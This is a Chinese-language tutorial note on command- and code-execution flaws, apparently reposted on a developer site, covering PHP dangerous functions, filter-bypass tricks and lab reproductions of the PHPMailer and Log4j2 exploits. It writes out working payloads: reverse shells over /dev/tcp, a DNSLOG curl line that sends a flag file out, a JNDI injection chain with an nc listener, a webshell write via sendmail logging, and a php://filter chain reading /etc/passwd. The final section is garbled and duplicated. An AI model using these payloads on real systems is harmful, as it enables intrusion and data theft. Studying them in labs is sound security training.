概述
DAY23、命令执行&代码执行漏洞
1、命令执行 (RCE)
1.1、漏洞介绍
在Web程序中,Web引用有时需要调用一些执行系统命令的函数,如PHP中的 system、exec、shell_exec、passthru、popen、proc_popen
等,当用户或者攻击者能控制这些参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
1.2、漏洞利用条件
(1)Web应用需调用执行系统命令的函数
(2)将用户的输入作为系统命令的参数拼接到命令行中
(3)没有对用户输入做过滤或者过滤不严格
1.3、漏洞分类
针对于漏洞产生的条件、以及应用程序的不同,将命令执行漏洞分为此三类:
(1)代码层过滤不严:许多的程序在开发时,开发人员对输入过滤不严格,导致漏洞的产生。
(2)系统的漏洞造成的命令注入:bash破壳漏洞
(3)调用第三方组件存在代码执行漏洞 、
如wordpress中用来处理图片的ImageMagick组件
JAVA中的命令执行漏洞(struts2/ElasticsearchChroovy等)
ThinkPHP命令执行
1.4、命令执行函数
system()
system() 输出并返回最后一行shell结果
exec()
返回命令执行的最后一行shell结果,但是不能直接输出结果
shell_exec()
如果执行过程中发送错误或者进程不产生输出,则返回NULL
passthru()
执行外部程序,并且显示原始输出
popen()
proc_popen()等
反撇号 `whoami`
与shell_exec功能相同,执行shell命令并返回输出的字符串
ob_start ()
ob_start:打开输出控制缓冲
1.5、Windows 常用分隔符
.bat
文件中的命令分隔符
%0a
%1a
|
直接执行后面的语句
||
前面出错执行后面的,前面为假
&
前面的可真可假
&&
前面的语句为假则直接出错,后面的也不执行,前面的只能为真
1.6、Linux 常用连接符
; #前面的执行完后执行后面的
| #管道符,显示后面的执行结果
|| #当前面的执行出错时执行后面的
& #起那面的语句为假则执行后面的,前面的可真可假
&& #前面的语句为假则直接出错,后面的也不执行,前面的只能为真
...... #Linux中常用的命令分隔符号还有 ` . ; - <> $ %0a %0d
1.7、Linux读取文件方式
cat、tac #第一行最后显示,最后一行先显示
head、tail #显示开头和末尾的若干行
more、less #都是分屏显示
nl #和 cat -n 类似,显示行号
curl file://home/1.txt #curl命令结合file协议将木匾文件写入
wget file://var/www/html/key.php #Wget命令结合file协议,使用-o参数可写入到新文件
tac、less、od、more、head、tail、vim、vi、base64、xxd、nl、sort、cut、
uniq、strings、source、paste、grep、sed、source
常用命令:
ls:列出文件list
cd:切换目录change directory
cp:复制copy
mv:移动move
rm:移除,删除remove
mkdir:创建文件夹make directory
chmod:更改文件的权限模式change mode
find:查找
|:管道
grep:按行查找并匹配
tar:打包,压缩,解压
cat:打印文件内容
1.8、PHP 常见命令执行函数
system
eval
exec
shell_exec
popen
passthru
反引号
assert
proc_open
grep_replace (正则部分存在e修饰符)
call_user_func
动态调用 $a($b) 形式
2、命令执行绕过姿态
2.1、空格绕过
%09、%0d
cat<flag
cat<>flag
cat${IFS}flag
cat<flag
cat$IFS$9flag
cat%09flag
{cat,flag}
2.2、命令分隔符绕过
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a
(.bat
文件中的命令分隔符)
;
:在 shell 中,担任”连续指令”功能的符号就是”分号”。命 令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。
&
:简单拼接 无制约
&&
:前面执行成功后面才会执行
|
:符号 左边输出 作为右边输入
2.3、敏感字符绕过( cat 为例)
通配符绕过
/bin/c?t /flag
/bin/ca*
利用变量绕过
利用base编码绕过
xxxxxxx | base64
`echo 'YFOIC9mbGFn' | base64 -d`
使用连接符、反斜杠绕过
ca''t
cat 1.txt
c'a't /etc/pass'w'd
/bin
下有命令,环境变量等
2.4、无回显情况:
反弹shell
curl 外带回显(wget也可以达到同样效果)
VPS监听端口: nc -lvnp 1234
靶机执行命令: bash -c `exec bash -i & /dev/tcp/VPS_IP/1234 <&1`
DNSLOG外带(无法外带特殊字符)
靶机执行命令:curl `cat /flag`.eu7q6z.dnslog.cn
DNSLOG地址:http://dnslog.cn/
2.5、绕过长度限制
Linux 中的>
符号和 >>
符号
>
:覆盖文件
>>
:追加内容到文件
echo '<?php'>1.php
echo '@eval('>>1.php
echo '$_GET[]'>>1.php
echo '1]);'>>1.php
[root@localhost ~]# cat
> 1.sh
> |ls
用于绕过内容长度限制
2.6、EOF 绕过
<<EOF
......
EOF
eof(end of file)
是一个与标准输入/输出流相关联的标志位。当文件指针已经指向文件尾且再次尝试读取时,eof 标志会被设置。同时,某些函数会在读取到文件尾(即 eof 标志被设置)时返回 EOF 作为标识
2.7、RCE 篇----特殊
2.7.1、无回显的rce -------反弹shell 、空写、文件包含、木马编写
php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&0=id
文件包含漏洞包含 /etc/passwd ,写入一句话木马
限制条件 php:7.2 以上
2.7.2、无参数 rce -------利用函数构造命令代码并且执行
示例:
<?php
if (';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])) {
eval($_GET['code']);
}
解:
?code=hex2bin(session_id(session_start()));
session=hex:"phpinfo();"
2.7.3、无数字字母 rce
例子:
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(preg_match("/[A-Za-z0-9]+/",$a)){
die("1!");
}
@eval($a);
#@system($a);
?>
a=$_='_@_)@;@'^'/(/@.]/';$_();
-------------------------------------
phpinfo();
限制长度情况下命令执行
示例1:PHPMailer远程命令执行漏洞复现
这个致命的漏洞是由class.phpmailer.php
没有正确处理用户的请求导致的。结果远程攻击者能够在有弱点的服务器上远程执行代码。
这个漏洞影响了5.2.18版本之前的PHPMailer
当用PHPMailer发送一个邮件时,正常的处理是:
-
PHPMailer获取用户请求
-
PHPMailer校验用户提交的数据
-
PHPMailer传递数据到PHP的
mail()
函数发送邮件
在@前面,如果加上括号,将可以引入空格
向sendmail程序传入-X LogFile参数,会向LogFile 中记录 sendmail 的所有进出流量。因此,我们可以在邮件正文中键入我们的payload,然后利用上述漏洞,将其写进LogFile文件
比如:
"qwfs". -OQueueDirectory=/tmp/. -X/var/www/html/qwe.php @ qwesdbd.com
-x 进入跟踪方式,显示所执行的每一条命令
内容写入木马
poc解析:
-OQueueDirectory=/tmp
选择一个可以写的目录保存临时文件;
-X/var/www/qwe.php
保存日志文件到任意目录;
单引号属于强引用,它会忽略所有被引起来的字符的特殊处理,被引用起来的字符会被原封不动的使用,唯一需要注意的点是不允许引用自身;单引号将其中的内容都作为了字符串来,忽略所有的命令和特殊字符,类似于一个字符串的用法
双引号属于弱引用,它会对一些被引起来的字符进行特殊处理。
双引号与单引号的区别在于其可以包含特殊字符(单引号直接输出内部字符串,不解析特殊字符;双引号内则会解析特殊字符),包括', ", $,
,如果要忽略特殊字符,就可以利用来转义,忽略特殊字符,作为普通字符输出:
加载时间会比较长,加载完毕后,网页中直接访问 qwe.php 即可发现上传成功,蚁剑连接 getshell
成功
示例2:Log4j2 漏洞复现(vulhub靶场)
我们需要用JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
地址:sayers522/JNDI-Injection-Exploit: JNDI命令注入利用 (github.com)
首先我们需要知道这个地址是否有这个漏洞
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}
的lookup用于进行JNDI注入,执行任意代码。
${jndi:dns://${sys:java.version}.example.com}
是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close
我们可以在DNS日志平台收到相关日志,显示出当前Java版本:
说明有这个漏洞,于是我们开始构建漏洞利用所需的payload
首先我们构造反弹shell用到的命令:
bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1
bash -i >& /dev/tcp/受控机的ip/9999 0>&1
反弹shell需要经过编码,所以我们对上面那段命令base64加密
加密完毕后构造payload,输入如下命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,要编码的命令}|{base64,-d}|{bash,-i}" -A "攻击机的地址"
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}" -A "xxx.xxx.xx.x"
在注入之前另起一个终端,监控刚刚的那个端口,这里是9999
nc -lvvp 端口号
回到刚才的页面,构造url:
/solr/admin/cores?action=${jndi:紫色部分全部选择一行,建议jdk1.8}
/solr/admin/cores?action=${jndi:ldap://1xx.xx.xx.68:1389/8dxxrn}
输入回显 200
成功!
2、代码执行
PHP代码执行漏洞可以将代码注入到应用中,最终到webserver
去执行。该漏洞主要存在于eval()、assert()、 preg_replace()、call_user_func()、array_map()
以及动态函数中。
PHP 代码执行漏洞可将代码注入到应用
crontab #计划任务
highlight_file
2.1、代码执行相关函数
eval()
将输入的字符串当做PHP代码执行
assert()
会检查指定的 assertion 并在结果为FALSE时采取适当的行动
call_user_func()
把第一参数作为回调函数
call_user_func_array()
调用回到函数,并把第一个数组参数作为回到函数的参数
array_map()
为数组的每个元素应用回调函数
$_GET['a']($_POST['b']);
动态函数调用
还有一些危险函数
preg_replace()、str_replace()、call_user_func()这些函数跟eval、exec等函数地特性相同,都属于危险函数
preg_replace(mixed pattern,mixed replacement,mixed subject [,int limit])
此函数可以用来执行一个正则表达式的搜索和替换
$pattern
正则表达式匹配的内容
$replacement
用于替换的字符串或字符串数组
$subject
要搜索替换的目标字符串或字符串数组,当$pattern存在/e模式修正符,允许代码执行
t()
会检查指定的 assertion 并在结果为FALSE时采取适当的行动
call_user_func()
把第一参数作为回调函数
call_user_func_array()
调用回到函数,并把第一个数组参数作为回到函数的参数
array_map()
为数组的每个元素应用回调函数
G
E
T
[
′
a
′
]
(
_GET['a'](
GET[′a′](_POST[‘b’]);
动态函数调用
还有一些危险函数
preg_replace()、str_replace()、call_user_func()这些函数跟eval、exec等函数地特性相同,都属于危险函数
preg_replace(mixed pattern,mixed replacement,mixed subject [,int limit])
此函数可以用来执行一个正则表达式的搜索和替换
$pattern
正则表达式匹配的内容
$replacement
用于替换的字符串或字符串数组
s u b j e c t 要搜索替换的目标字符串或字符串数组,当 subject 要搜索替换的目标字符串或字符串数组,当 subject要搜索替换的目标字符串或字符串数组,当pattern存在/e模式修正符,允许代码执行
最后
以上就是矮小月饼为你收集整理的DAY23:命令执行&代码执行漏洞DAY23、命令执行&代码执行漏洞的全部内容,希望文章能够帮你解决DAY23:命令执行&代码执行漏洞DAY23、命令执行&代码执行漏洞所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复